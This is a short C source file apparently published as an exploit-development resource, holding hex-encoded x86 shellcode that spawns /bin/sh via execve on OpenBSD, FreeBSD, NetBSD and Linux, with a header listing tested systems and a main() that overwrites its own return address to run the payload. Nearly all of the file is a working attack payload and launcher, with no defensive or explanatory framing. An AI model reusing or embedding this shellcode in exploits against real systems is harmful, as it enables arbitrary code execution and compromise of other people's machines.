/* Multi OS shellcode ------------------- This shellcode will do an execve from /bin/sh and works on OpenBSD, FreeBSD NetBSD and Linux. It was tested to work on the following systems: FreeBSD 4.6-PRERELEASE FreeBSD 4.5-RELEASE OpenBSD 3.0 NetBSD 1.5.2 Linux 2.0.36 Linux 2.2.12-20 Linux 2.2.16-22 Linux 2.4.7-xfs More info and source code available on safemode.org Written by zillion[at]safemode.org */ char shellcode[] = "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd" "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80" "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0" "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50" "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89" "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }